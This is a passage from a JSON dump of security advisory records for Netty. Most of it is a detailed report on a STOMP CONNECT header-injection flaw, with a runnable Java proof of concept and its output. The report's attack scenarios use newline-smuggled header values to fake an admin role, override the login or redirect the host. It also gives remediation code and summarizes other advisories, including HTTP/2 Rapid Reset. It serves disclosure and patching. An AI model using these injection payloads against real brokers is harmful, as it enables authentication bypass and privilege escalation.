approach.\n\n## 9. References\n\n- [STOMP 1.2 Specification](https://stomp.github.io/stomp-specification-1.2.html)\n- [STOMP 1.2 Section 10: Value Encoding](https://stomp.github.io/stomp-specification-1.2.html#Value_Encoding)\n- [CWE-93: Improper Neutralization of CRLF Sequences](https://cwe.mitre.org/data/definitions/93.html)\n- [GHSA-jq43-27x9-3v86: Netty SMTP Command Injection (similar pattern)](https://github.com/netty/netty/security/advisories/GHSA-jq43-27x9-3v86)","status":"published","published":"2026-07-22T21:52:27Z","modified":"2026-07-22T21:52:28Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N","level":"medium"}],"cwes":["CWE-93"],"updated_at":"2026-11-02T14:40:51.375752Z"},{"id":"GHSA-xpw8-rcwv-8f8p","title":"io.netty:netty-codec-http2 vulnerable to HTTP/2 Rapid Reset Attack","description":"A client might overload the server by issue frequent RST frames. This can cause a massive amount of load on the remote system and so cause a DDOS attack. \n\n### Impact\nThis is a DDOS attack, any http2 server is affected and so you should update as soon as possible.\n\n### Patches\nThis is patched in version 4.1.100.Final.\n\n### Workarounds\nA user can limit the amount of RST frames that are accepted per connection over a timeframe manually using either an own `Http2FrameListener` implementation or an `ChannelInboundHandler` implementation (depending which http2 API is used).\n\n### References\n- https://www.cve.org/CVERecord?id=CVE-2023-44487\n- https://blog.cloudflare.com/technical-breakdown-http2-rapid-reset-ddos-attack/\n- https://cloud.google.com/blog/products/identity-security/google-cloud-mitigated-largest-ddos-attack-peaking-above-398-million-rps/","status":"published","published":"2023-10-10T22:22:54Z","modified":"2023-11-06T22:08:37Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T14:37:15.055009Z"}],"nvd":[{"id":"CVE-2026-59920","description":"Netty is an asynchronous, event-driven network application framework. In versions prior to 4.1.136.Final and 4.2.16.Final, Netty's STOMP encoder ( StompSubframeEncoder ) does not escape or validate header values in  CONNECT  and  CONNECTED  frames, so raw newline ( \\n ) characters in a header value are written directly to the wire, allowing an attacker who controls a header value to inject additional STOMP headers. This happens because the encoder intentionally skips escaping for CONNECT/CONNECTED frames per the STOMP 1.2 specification but never rejects the raw newlines, and since a broker parses each line as a separate header, an attacker controlling a value such as a user-supplied login or passcode can overwrite connection parameters or add authentication/role headers to bypass authentication or escalate privileges (the actual impact is broker-dependent). The issue is fixed in versions 4.1.136.Final and 4.2.16.Final.","status":"published","published":"2026-07-29T18:16:56.757Z","modified":"2026-08-06T20:34:47.847Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-93"],"updated_at":"2026-11-02T14:12:33.629616Z"}],"osv":[{"id":"CVE-2026-59920","title":"Netty: STOMP CONNECT Frame Header Injection","description":"Netty is an asynchronous, event-driven network application framework. In versions prior to 4.1.136.Final and 4.2.16.Final, Netty's STOMP encoder ( StompSubframeEncoder ) does not escape or validate header values in  CONNECT  and  CONNECTED  frames, so raw newline ( \\n ) characters in a header value are written directly to the wire, allowing an attacker who controls a header value to inject additional STOMP headers. This happens because the encoder intentionally skips escaping for CONNECT/CONNECTED frames per the STOMP 1.2 specification but never rejects the raw newlines, and since a broker parses each line as a separate header, an attacker controlling a value such as a user-supplied login or passcode can overwrite connection parameters or add authentication/role headers to bypass authentication or escalate privileges (the actual impact is broker-dependent). The issue is fixed in versions 4.1.136.Final and 4.2.16.Final.","status":"published","published":"2026-07-29T17:32:46.835Z","modified":"2026-10-28T02:31:04.418944729Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N","level":"medium"}],"cwes":["CWE-93"],"updated_at":"2026-11-02T15:45:12.496548Z"},{"id":"DEBIAN-CVE-2026-59920","description":"Netty is an asynchronous, event-driven network application framework. In versions prior to 4.1.136.Final and 4.2.16.Final, Netty's STOMP encoder ( StompSubframeEncoder ) does not escape or validate header values in  CONNECT  and  CONNECTED  frames, so raw newline ( \\n ) characters in a header value are written directly to the wire, allowing an attacker who controls a header value to inject additional STOMP headers. This happens because the encoder intentionally skips escaping for CONNECT/CONNECTED frames per the STOMP 1.2 specification but never rejects the raw newlines, and since a broker parses each line as a separate header, an attacker controlling a value such as a user-supplied login or passcode can overwrite connection parameters or add authentication/role headers to bypass authentication or escalate privileges (the actual impact is broker-dependent). The issue is fixed in versions 4.1.136.Final and 4.2.16.Final.","status":"published","published":"2026-07-29T18:16:56.757Z","modified":"2026-10-01T03:03:28.601886431Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N","level":"medium"}],"updated_at":"2026-11-02T15:45:57.932517Z"},{"id":"GHSA-3g8r-4pfx-jmfh","title":"Netty: STOMP CONNECT Frame Header Injection in Netty","description":"# Security Vulnerability Report: STOMP CONNECT Frame Header Injection in Netty\n\n## 1. Vulnerability Summary\n\n| Field | Value |\n|-------|-------|\n| **Product** | Netty |\n| **Version** | 4.2.12.Final (and all prior versions with codec-stomp) |\n| **Component** | `io.netty.handler.codec.stomp.StompSubframeEncoder` |\n| **Vulnerability Type** | CWE-93: Improper Neutralization of CRLF Sequences / CWE-113: Improper Neutralization of CRLF in HTTP Headers |\n| **Impact** | STOMP Header Injection / Authentication Bypass |\n| **CVSS 3.1 Score** | **6.5 (Medium)** |\n| **CVSS 3.1 Vector** | `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N` |\n| **Attack Vector** | Network |\n| **Attack Complexity** | Low |\n| **Privileges Required** | Low |\n| **User Interaction** | None |\n| **Scope** | Unchanged |\n| **Confidentiality Impact** | None |\n| **Integrity Impact** | High |\n| **Availability Impact** | None |\n\n## 2. Affected Components\n\n- `io.netty.handler.codec.stomp.StompSubframeEncoder` — `encodeHeaders()` method (lines 174-200)\n- `io.netty.handler.codec.stomp.StompSubframeEncoder` — `shouldEscape()` method (lines 214-216)\n\n## 3. Vulnerability Description\n\nThe Netty STOMP codec encoder (`StompSubframeEncoder`) intentionally skips the `escape()` function for `CONNECT` and `CONNECTED` commands. This means that newline characters (`\\n`) in header values of CONNECT frames are written directly to the output, allowing an attacker to inject additional STOMP headers.\n\n### Root Cause\n\nIn `StompSubframeEncoder.java`, the `shouldEscape()` method (lines 214-216) explicitly excludes CONNECT and CONNECTED commands from escaping:\n\n```java\nprivate static boolean shouldEscape(StompCommand command) {\n    return command != StompCommand.CONNECT \u0026\u0026 command != StompCommand.CONNECTED;\n}\n```\n\nWhen `shouldEscape()` returns `false`, header values are written without any escaping (line 195):\n\n```java\nCharSequence headerValue = shouldEscape ? escape(entry.getValue()) : entry.getValue();\nByteBufUtil.writeUtf8(buf, headerValue);  // Raw \\n written to output\nbuf.writeByte(StompConstants.LF);\n```\n\nFor other commands (SEND, SUBSCRIBE, etc.), the `escape()` method (lines 218-240) correctly converts `\\n` to `\\\\n`, `\\r` to `\\\\r`, `:` to `\\\\c`, and `\\\\` to `\\\\\\\\`.\n\n### STOMP Specification Context and Security Analysis\n\nThe STOMP 1.2 specification (Section 10, Value Encoding) states that CONNECT and CONNECTED frames should **not use escaping**, to maintain backwards compatibility with STOMP 1.0 clients that do not understand escape sequences.\n\n**However, \"no escaping\" does not mean \"no validation\".** The specification's intent is that CONNECT headers should not use the `\\n` → `\\\\n` escape notation. It does **not** mandate that implementations must accept raw newline characters within header values. There is a critical distinction:\n\n- **Escaping** = converting `\\n` to `\\\\n` in the wire format (spec says: don't do this for CONNECT)\n- **Validation** = rejecting header values that contain `\\n` (spec does not prohibit this)\n\nNetty's implementation conflates these two concepts: by skipping `escape()`, it also skips **all** protection against newline injection. The correct behavior would be to skip escaping but still **reject** values containing raw newline characters, since such values are inherently malformed — no legitimate STOMP 1.0 or 1.2 header value should contain a raw `\\n`.\n\nThis is analogous to Netty's own SMTP fix (GHSA-jq43-27x9-3v86): SMTP parameters don't need escaping either, but Netty added validation to reject CRLF in parameters. The same principle should apply here.\n\n**Additionally**, Netty's own test suite explicitly validates this non-escaping behavior in `StompSubframeEncoderTest.java:126-143` (`testNotEscapeStompHeadersForConnectCommand`), confirming that this is a deliberate design choice — but the test only verifies that escaping is skipped, not that injection is possible. The security implications were not considered.\n\n**Summary**: The vulnerability exists because:\n\n1. Header values in CONNECT frames are **neither escaped nor validated** for newlines\n2. A raw newline in a header value creates a **new header line** on the wire\n3. The STOMP broker parses each line as a separate header\n4. The fix should **validate** (reject `\\n`) rather than **escape** (convert `\\n` to `\\\\n`), maintaining spec compliance\n\n## 4. Exploitability Prerequisites\n\nThis vulnerability is exploitable when **all** of the following conditions are met:\n\n1. The application uses Netty's `codec-stomp` module to encode STOMP frames\n2. User-controlled input is placed into header values of a `CONNECT` or `CONNECTED` frame\n3. The application does **not** perform its own newline sanitization\n4. The downstream STOMP broker processes the injected headers (broker-dependent)\n\n**Typical affected use cases**:\n- STOMP proxy/gateway applications that forward or construct CONNECT frames with user-supplied credentials\n- Web-to-STOMP bridge applications (e.g., WebSocket-STOMP proxies) where login/passcode come from web forms\n- Multi-tenant STOMP platforms where tenant-specific headers are injected into CONNECT frames\n\n## 5. Attack Scenarios\n\n### Scenario 1: Authentication Bypass via Header Injection\n\nAn attacker who can control any header value in a CONNECT frame can inject additional authentication-related headers:\n\n```java\nDefaultStompFrame frame = new DefaultStompFrame(StompCommand.CONNECT);\nframe.headers().set(StompHeaders.HOST, \"localhost\");\nframe.headers().set(StompHeaders.LOGIN, \"guest\");\n// Attacker injects a role header via \\n in passcode\nframe.headers().set(StompHeaders.PASSCODE, \"password\\nadmin-role:true\");\n```\n\n**Wire format sent to broker:**\n```\nCONNECT\nhost:localhost\nlogin:guest\npasscode:password\nadmin-role:true        \u003c-- INJECTED HEADER\n                       \u003c-- Empty line (end of headers)\n\\0\n```\n\nThe broker receives 5 headers instead of the intended 4. If the broker checks for an `admin-role` header to grant elevated privileges, the attacker bypasses authentication.\n\n### Scenario 2: Subscription Hijacking\n\n```java\nframe.headers().set(StompHeaders.PASSCODE, \"pass\\nhost:evil-broker.com\");\n```\n\nThis overwrites the `host` header, potentially redirecting the connection to an attacker-controlled STOMP broker (depending on broker implementation).\n\n### Scenario 3: Header Overwrite\n\n```java\nframe.headers().set(StompHeaders.LOGIN, \"user\\nlogin:admin\");\n```\n\n**Wire format:**\n```\nCONNECT\nlogin:user\nlogin:admin            \u003c-- INJECTED, may override first\n...\n```\n\nSome brokers use the last value when duplicate headers exist, allowing the attacker to escalate to the `admin` account.\n\n## 6. Proof of Concept\n\n### Full Runnable PoC Source Code (StompConnectHeaderInjectionPoC.java)\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.buffer.Unpooled;\nimport io.netty.channel.embedded.EmbeddedChannel;\nimport io.netty.handler.codec.stomp.*;\n\nimport java.nio.charset.StandardCharsets;\n\n/**\n * PoC: STOMP CONNECT/CONNECTED Frame Header Injection Vulnerability\n *\n * Demonstrates that StompSubframeEncoder skips escape() for CONNECT and\n * CONNECTED commands, allowing \\n injection in header values to create\n * additional STOMP headers.\n */\npublic class StompConnectHeaderInjectionPoC {\n\n    public static void main(String[] args) {\n        System.out.println(\"=== Netty STOMP CONNECT Header Injection PoC ===\\n\");\n\n        testConnectHeaderInjection();\n        testConnectVsOtherCommand();\n\n        System.out.println(\"\\n=== PoC Complete ===\");\n    }\n\n    /**\n     * Test 1: CONNECT command header injection via \\n in value\n     */\n    static void testConnectHeaderInjection() {\n        System.out.println(\"[TEST 1] CONNECT Header Value Injection\");\n        System.out.println(\"-----------------------------------------\");\n\n        // Craft a CONNECT frame with \\n in passcode value\n        DefaultStompHeaders headers = new DefaultStompHeaders();\n        headers.set(StompHeaders.HOST, \"localhost\");\n        headers.set(StompHeaders.ACCEPT_VERSION, \"1.2\");\n        headers.set(StompHeaders.LOGIN, \"user\");\n        headers.set(StompHeaders.PASSCODE, \"password\\nadmin-role:true\");\n\n        DefaultStompFrame frame = new DefaultStompFrame(StompCommand.CONNECT);\n        frame.headers().setAll(headers);\n\n        EmbeddedChannel channel = new EmbeddedChannel(new StompSubframeEncoder());\n        channel.writeOutbound(frame);\n\n        ByteBuf output = channel.readOutbound();\n        String encoded = output.toString(StandardCharsets.UTF_8);\n        output.release();\n        channel.finishAndReleaseAll();\n\n        System.out.println(\"Input passcode: \\\"password\\\\nadmin-role:true\\\"\");\n        System.out.println();\n        System.out.println(\"Encoded STOMP frame:\");\n        System.out.println(\"---\");\n        // Show with visible control chars\n        for (String line : encoded.split(\"\\n\", -1)) {\n            System.out.println(\"  \" + line.replace(\"\\r\", \"\\\\r\").replace(\"\\0\", \"\\\\0\"));\n        }\n        System.out.println(\"---\");\n\n        // Check if the injected header appears as a separate line\n        boolean hasInjectedHeader = false;\n        String[] lines = encoded.split(\"\\n\");\n        for (String line : lines) {\n            if (line.startsWith(\"admin-role:\")) {\n                hasInjectedHeader = true;\n                break;\n            }\n        }\n\n        System.out.println();\n        System.out.println(\"Injected 'admin-role' appears as separate header: \" + hasInjectedHeader);\n        System.out.println(\"VULNERABLE: \" + (hasInjectedHeader ?\n            \"YES - Header injection in CONNECT frame!\" : \"NO\"));\n\n        // Count actual STOMP headers (lines between command and empty line)\n        int headerCount = 0;\n        boolean inHeaders = false;\n        for (String line : lines) {\n            if (line.equals(\"CONNECT\")) {\n                inHeaders = true;\n                continue;\n            }\n            if (inHeaders \u0026\u0026 line.trim().isEmpty()) break;\n            if (inHeaders \u0026\u0026 line.contains(\":\")) headerCount++;\n        }\n        System.out.println(\"Expected headers: 4 (host, accept-version, login, passcode)\");\n        System.out.println(\"Actual headers:   \" + headerCount);\n        System.out.println();\n    }\n\n    /**\n     * Test 2: Compare CONNECT (no escape) vs SEND (with escape)\n     */\n    static void testConnectVsOtherCommand() {\n        System.out.println(\"[TEST 2] CONNECT vs SEND Escape Comparison\");\n        System.out.println(\"--------------------------------------------\");\n\n        String maliciousValue = \"value\\ninjected:evil\";\n\n        // Test CONNECT (no escape)\n        {\n            DefaultStompHeaders headers = new DefaultStompHeaders();\n            headers.set(StompHeaders.HOST, \"localhost\");\n            headers.set(\"custom\", maliciousValue);\n\n            DefaultStompFrame frame = new DefaultStompFrame(StompCommand.CONNECT);\n            frame.headers().setAll(headers);\n            EmbeddedChannel channel = new EmbeddedChannel(new StompSubframeEncoder());\n            channel.writeOutbound(frame);\n\n            ByteBuf output = channel.readOutbound();\n            String encoded = output.toString(StandardCharsets.UTF_8);\n            output.release();\n            channel.finishAndReleaseAll();\n\n            System.out.println(\"CONNECT frame with custom=\\\"value\\\\ninjected:evil\\\":\");\n            System.out.println(\"  Encoded: \" + encoded.replace(\"\\n\", \"\\\\n\").replace(\"\\0\", \"\\\\0\"));\n\n            boolean hasRawNewline = encoded.contains(\"value\\ninjected:evil\");\n            System.out.println(\"  Raw \\\\n in output: \" + hasRawNewline);\n            System.out.println(\"  VULNERABLE: \" + (hasRawNewline ? \"YES\" : \"NO\"));\n        }\n\n        System.out.println();\n\n        // Test SEND (with escape)\n        {\n            DefaultStompHeaders headers = new DefaultStompHeaders();\n            headers.set(StompHeaders.DESTINATION, \"/queue/test\");\n            headers.set(\"custom\", maliciousValue);\n\n            DefaultStompFrame frame = new DefaultStompFrame(StompCommand.SEND);\n            frame.headers().setAll(headers);\n            EmbeddedChannel channel = new EmbeddedChannel(new StompSubframeEncoder());\n            channel.writeOutbound(frame);\n\n            ByteBuf output = channel.readOutbound();\n            String encoded = output.toString(StandardCharsets.UTF_8);\n            output.release();\n            channel.finishAndReleaseAll();\n\n            System.out.println(\"SEND frame with custom=\\\"value\\\\ninjected:evil\\\":\");\n            System.out.println(\"  Encoded: \" + encoded.replace(\"\\n\", \"\\\\n\").replace(\"\\0\", \"\\\\0\"));\n\n            boolean hasEscapedNewline = encoded.contains(\"value\\\\ninjected\\\\cevil\");\n            boolean hasRawNewline = encoded.contains(\"value\\ninjected:evil\");\n            System.out.println(\"  Escaped \\\\n: \" + hasEscapedNewline);\n            System.out.println(\"  Raw \\\\n:     \" + hasRawNewline);\n            System.out.println(\"  SAFE: \" + (hasEscapedNewline \u0026\u0026 !hasRawNewline ? \"YES\" : \"NO\"));\n        }\n        System.out.println();\n    }\n}\n```\n\n### How to Compile and Run\n\n```bash\n# Build Netty (skip tests for speed)\n./mvnw install -pl common,buffer,codec,codec-stomp,transport -DskipTests -Dcheckstyle.skip=true \\\n  -Denforcer.skip=true -Djapicmp.skip=true -Danimal.sniffer.skip=true \\\n  -Drevapi.skip=true -Dforbiddenapis.skip=true -Dspotbugs.skip=true -q\n\n# Set classpath\nJARS=$(find ~/.m2/repository/io/netty -name \"netty-*.jar\" -path \"*/4.2.12.Final/*\" \\\n  | grep -v sources | grep -v javadoc | tr '\\n' ':')\n\n# Compile and run\njavac -cp \"$JARS\" StompConnectHeaderInjectionPoC.java\njava -cp \"$JARS:.\" StompConnectHeaderInjectionPoC\n```\n\n### PoC Execution Output (Verified on Netty 4.2.12.Final)\n\n```\n=== Netty STOMP CONNECT Header Injection PoC ===\n\n[TEST 1] CONNECT Header Value Injection\n-----------------------------------------\nInput passcode: \"password\\nadmin-role:true\"\n\nEncoded STOMP frame:\n---\n  CONNECT\n  host:localhost\n  accept-version:1.2\n  login:user\n  passcode:password\n  admin-role:true          \u003c-- INJECTED HEADER\n\n  \\0\n---\n\nInjected 'admin-role' appears as separate header: true\nVULNERABLE: YES - Header injection in CONNECT frame!\nExpected headers: 4 (host, accept-version, login, passcode)\nActual headers:   5\n\n[TEST 2] CONNECT vs SEND Escape Comparison\n--------------------------------------------\nCONNECT frame with custom=\"value\\ninjected:evil\":\n  Encoded: CONNECT\\nhost:localhost\\ncustom:value\\ninjected:evil\\n\\n\\0\n  Raw \\n in output: true\n  VULNERABLE: YES\n\nSEND frame with custom=\"value\\ninjected:evil\":\n  Encoded: SEND\\ndestination:/queue/test\\ncustom:value\\ninjected\\cevil\\n\\n\\0\n  Escaped \\n: true\n  Raw \\n:     false\n  SAFE: YES\n\n\n=== PoC Complete ===\n```\n\n### Key Observation\n\nThe PoC demonstrates a clear inconsistency:\n- **CONNECT** command: `\\n` is written **raw** → header injection succeeds\n- **SEND** command: `\\n` is escaped to `\\\\n` → header injection prevented\n\n## 7. Impact Analysis\n\n| Impact Category | Description |\n|----------------|-------------|\n| **Authentication** | Injected headers may bypass broker authentication logic |\n| **Authorization** | Role escalation via injected role/permission headers |\n| **Integrity** | Modification of connection parameters (host, version, etc.) |\n| **Broker-Specific** | Impact varies by STOMP broker implementation (RabbitMQ, ActiveMQ, etc.) |\n\n### Affected Brokers\n\nThis vulnerability affects any application using Netty's STOMP encoder to communicate with STOMP brokers. The actual exploitability depends on the broker's handling of unexpected headers:\n\n- **RabbitMQ**: Uses specific headers for authentication; additional headers are typically ignored but may affect plugins\n- **ActiveMQ**: May process custom headers for internal routing\n- **Custom Brokers**: Most likely to be affected if they trust all received headers\n\n## 8. Remediation Recommendations\n\n### Option 1: Validate CONNECT Header Values (Recommended)\n\nAdd newline validation for CONNECT/CONNECTED frames instead of skipping escaping entirely:\n\n```java\nprivate static void encodeHeaders(StompHeadersSubframe frame, ByteBuf buf) {\n    StompCommand command = frame.command();\n    ByteBufUtil.writeUtf8(buf, command.toString());\n    buf.writeByte(StompConstants.LF);\n\n    boolean shouldEscape = shouldEscape(command);\n    for (Entry\u003cCharSequence, CharSequence\u003e entry : frame.headers()) {\n        CharSequence headerKey = entry.getKey();\n        CharSequence headerValue = entry.getValue();\n\n        if (shouldEscape) {\n            headerKey = escape(headerKey);\n            headerValue = escape(headerValue);\n        } else {\n            // For CONNECT/CONNECTED: don't escape but REJECT newlines\n            validateNoNewlines(headerKey, \"header name\");\n            validateNoNewlines(headerValue, \"header value\");\n        }\n\n        ByteBufUtil.writeUtf8(buf, headerKey);\n        buf.writeByte(StompConstants.COLON);\n        ByteBufUtil.writeUtf8(buf, headerValue);\n        buf.writeByte(StompConstants.LF);\n    }\n    buf.writeByte(StompConstants.LF);\n}\n\nprivate static void validateNoNewlines(CharSequence value, String type) {\n    for (int i = 0; i \u003c value.length(); i++) {\n        char c = value.charAt(i);\n        if (c == '\\n' || c == '\\r') {\n            throw new IllegalArgumentException(\n                \"STOMP CONNECT \" + type + \" contains illegal newline at index \" + i);\n        }\n    }\n}\n```\n\n### Option 2: Apply Escaping to All Commands\n\nSimply remove the CONNECT/CONNECTED exception:\n\n```java\nprivate static boolean shouldEscape(StompCommand command) {\n    return true; // Always escape\n}\n```\n\nNote: This may break compatibility with STOMP 1.0 clients, but is the most secure approach.\n\n## 9. References\n\n- [STOMP 1.2 Specification](https://stomp.github.io/stomp-specification-1.2.html)\n- [STOMP 1.2 Section 10: Value Encoding](https://stomp.github.io/stomp-specification-1.2.html#Value_Encoding)\n- [CWE-93: Improper Neutralization of CRLF Sequences](https://cwe.mitre.org/data/definitions/93.html)\n- [GHSA-jq43-27x9-3v86: Netty SMTP Command Injection (similar pattern)](https://github.com/netty/netty/security/advisories/GHSA-jq43-27x9-3v86)","status":"published","published":"2026-07-22T21:52:27Z","modified":"2026-09-10T03:51:10.205072585Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N","level":"medium"}],"cwes":["CWE-93"],"updated_at":"2026-11-02T15:46:35.747385Z"},{"id":"GHSA-xpw8-rcwv-8f8p","title":"io.netty:netty-codec-http2 vulnerable to HTTP/2 Rapid Reset Attack","description":"A client might overload the server by issue frequent RST frames. This can cause a massive amount of load on the remote system and so cause a DDOS attack. \n\n### Impact\nThis is a DDOS attack, any http2 server is affected and so you should update as soon as possible.\n\n### Patches\nThis is patched in version 4.1.100.Final.\n\n### Workarounds\nA user can limit the amount of RST frames that are accepted per connection over a timeframe manually using either an own `Http2FrameListener` implementation or an `ChannelInboundHandler` implementation (depending which http2 API is used).\n\n### References\n- https://www.cve.org/CVERecord?id=CVE-2023-44487\n- https://blog.cloudflare.com/technical-breakdown-http2-rapid-reset-ddos-attack/\n- https://cloud.google.com/blog/products/identity-security/google-cloud-mitigated-largest-ddos-attack-peaking-above-398-million-rps/","status":"published","published":"2023-10-10T22:22:54Z","modified":"2026-09-10T03:49:58.76078733Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T15:47:00.198893Z"},{"id":"RHLW-2026-b66720d53a6e2ba6","title":"Lightwell Security Advisory: netty-codec-stomp 4.1.100.Final-rhlw-00001","description":"Red Hat Lightwell has released io.netty:netty-codec-stomp 4.1.100.Final-rhlw-00001 with backported fixes for CVE-2026-44891 and CVE-2026-59920.\n\nCVE-2026-44891: Netty: Denial of Service via Unbounded Headers in StompSubframeDecoder\n\nCVE-2026-59920: Netty: STOMP CONNECT Frame Header Injection\n\nThis patched artifact is a drop-in replacement for io.netty:netty-codec-stomp 4.1.100.Final from Maven Central.","status":"published","published":"2026-10-12T16:57:59Z","modified":"2026-10-27T04:13:02.5907333Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:52:58.636919Z"},{"id":"ROOT-APP-MAVEN-GHSA-xpw8-rcwv-8f8p","title":"GHSA-xpw8-rcwv-8f8p in io.root.io.netty:netty-codec-http2 - Patched by Root","description":"Root has patched GHSA-xpw8-rcwv-8f8p in the io.root.io.netty:netty-codec-http2 package for Root:Maven. Multiple fixed versions available.","status":"published","published":"2026-06-18T12:52:23Z","modified":"2026-06-18T18:15:26.175069727Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:27.066589Z"},{"id":"UBUNTU-CVE-2026-59920","description":"Netty is an asynchronous, event-driven network application framework. In versions prior to 4.1.136.Final and 4.2.16.Final, Netty's STOMP encoder ( StompSubframeEncoder ) does not escape or validate header values in  CONNECT  and  CONNECTED  frames, so raw newline ( \\n ) characters in a header value are written directly to the wire, allowing an attacker who controls a header value to inject additional STOMP headers. This happens because the encoder intentionally skips escaping for CONNECT/CONNECTED frames per the STOMP 1.2 specification but never rejects the raw newlines, and since a broker parses each line as a separate header, an attacker controlling a value such as a user-supplied login or passcode can overwrite connection parameters or add authentication/role headers to bypass authentication or escalate privileges (the actual impact is broker-dependent). The issue is fixed in versions 4.1.136.Final and 4.2.16.Final.","status":"published","published":"2026-07-29T18:16:00Z","modified":"2026-10-17T12:59:15.027159047Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N","level":"medium"}],"updated_at":"2026-11-02T16:56:41.911783Z"},{"id":"CLSA-2026-1787045999","title":"TuxCare security update for io.netty (23 CVEs)","description":"TuxCare rebuilt 47 io.netty packages to address 23 CVEs. Fixed in 4.1.135.Final-tuxcare.1.","status":"published","published":"2026-08-18T09:39:59Z","modified":"2026-10-15T09:46:22.118386744Z","updated_at":"2026-11-02T15:43:47.20725Z"},{"id":"CLSA-2026-1787049848","title":"TuxCare security update for io.netty (23 CVEs)","description":"TuxCare rebuilt 47 io.netty packages to address 23 CVEs. Fixed in 4.1.130.Final-tuxcare.3.","status":"published","published":"2026-08-18T10:44:08Z","modified":"2026-10-15T09:46:35.670728434Z","updated_at":"2026-11-02T15:43:47.20725Z"},{"id":"CLSA-2026-1787271464","title":"TuxCare security update for io.netty (59 CVEs)","description":"TuxCare rebuilt 47 io.netty packages to address 59 CVEs. Fixed in 4.1.122.Final-tuxcare.2.","status":"published","published":"2026-08-21T00:17:44Z","modified":"2026-10-15T09:46:34.75643555Z","updated_at":"2026-11-02T15:43:47.20725Z"},{"id":"CLSA-2026-1787301097","title":"TuxCare security update for io.netty (60 CVEs)","description":"TuxCare rebuilt 47 io.netty packages to address 60 CVEs. Fixed in 4.1.119.Final-tuxcare.1.","status":"published","published":"2026-08-21T08:31:37Z","modified":"2026-10-15T09:46:34.967537233Z","updated_at":"2026-11-02T15:43:47.20725Z"},{"id":"CLSA-2026-1787306632","title":"TuxCare security update for io.netty (41 CVEs)","description":"TuxCare rebuilt 47 io.netty packages to address 41 CVEs. Fixed in 4.1.112.Final-tuxcare.6.","status":"published","published":"2026-08-21T10:03:52Z","modified":"2026-10-15T09:46:35.351743786Z","updated_at":"2026-11-02T15:43:47.20725Z"},{"id":"CLSA-2026-1787309634","title":"TuxCare security update for io.netty (62 CVEs)","description":"TuxCare rebuilt 47 io.netty packages to address 62 CVEs. Fixed in 4.1.111.Final-tuxcare.1.","status":"published","published":"2026-08-21T10:53:54Z","modified":"2026-10-15T09:46:34.370885626Z","updated_at":"2026-11-02T15:43:47.20725Z"},{"id":"CLSA-2026-1787331164","title":"TuxCare security update for io.netty (48 CVEs)","description":"TuxCare rebuilt 47 io.netty packages to address 48 CVEs. Fixed in 4.1.117.Final-tuxcare.3.","status":"published","published":"2026-08-21T16:52:44Z","modified":"2026-10-15T09:47:25.558975504Z","updated_at":"2026-11-02T15:43:47.20725Z"},{"id":"CLSA-2026-1787333890","title":"TuxCare security update for io.netty (61 CVEs)","description":"TuxCare rebuilt 47 io.netty packages to address 61 CVEs. Fixed in 4.1.108.Final-tuxcare.1.","status":"published","published":"2026-08-21T17:38:10Z","modified":"2026-10-15T09:47:25.399673043Z","updated_at":"2026-11-02T15:43:47.20725Z"},{"id":"CLSA-2026-1787383378","title":"TuxCare security update for io.netty (61 CVEs)","description":"TuxCare rebuilt 47 io.netty packages to address 61 CVEs. Fixed in 4.1.107.Final-tuxcare.1.","status":"published","published":"2026-08-22T07:22:58Z","modified":"2026-10-15T09:47:25.582500226Z","updated_at":"2026-11-02T15:43:47.20725Z"},{"id":"CLSA-2026-1787397404","title":"TuxCare security update for io.netty (61 CVEs)","description":"TuxCare rebuilt 47 io.netty packages to address 61 CVEs. Fixed in 4.1.94.Final-tuxcare.1.","status":"published","published":"2026-08-22T11:16:44Z","modified":"2026-11-10T19:58:30.506519107Z","updated_at":"2026-11-10T20:07:15.512362Z"},{"id":"CLSA-2026-1789379074","title":"TuxCare security update for io.netty (22 CVEs)","description":"TuxCare rebuilt 46 io.netty packages to address 22 CVEs. Fixed in 4.1.79.Final-tuxcare.4.","status":"published","published":"2026-09-14T09:44:34Z","modified":"2026-10-15T09:47:43.074218723Z","updated_at":"2026-11-02T15:43:47.938828Z"},{"id":"openSUSE-SU-2026:11394-1","title":"netty-4.1.136-1.1 on GA media","description":"These are all security issues fixed in the netty-4.1.136-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-07-28T00:00:00Z","modified":"2026-07-29T18:24:26.986451317Z","updated_at":"2026-11-02T16:58:39.516824Z"},{"id":"SUSE-SU-2026:3482-1","title":"Security update for netty, netty-tcnative","description":"This update for netty, netty-tcnative fixes the following issues:\n\nUpgrade netty to upstream version 4.1.136 and netty-tcnative to version 2.0.80 Final.\n\nSecurity issues fixed\n\n- CVE-2026-44891: memory exhaustion in `io.netty:netty-codec-stomp` (bsc#1271435).\n- CVE-2026-55831: resource exhaustion/DoS in `io.netty:netty-codec-http` (bsc#1271960).\n- CVE-2026-55833: zip bomb in `io.netty:netty-codec-http` (bsc#1271961).\n- CVE-2026-55851: memory 